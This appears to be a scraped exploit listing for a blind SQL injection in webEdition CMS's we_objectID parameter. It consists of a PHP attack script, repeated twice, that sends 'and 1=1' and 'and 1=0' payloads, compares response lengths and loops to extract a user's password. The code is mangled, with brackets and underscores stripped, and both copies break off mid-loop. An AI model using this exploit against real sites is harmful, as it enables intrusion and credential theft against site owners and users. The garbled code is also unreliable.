webEdition CMS - we_objectID Blind SQL Injection

webEdition CMS - weobjectID Blind SQL Injection php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."'and+1=1/"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."'and+1=0/"; $t...

webEdition CMS - 'we_objectID' Blind SQL Injection

php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."'and+1=1/"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."'and+1=0/"; $t = abs100-$w/$r100; echo "Password: "; for $j = ...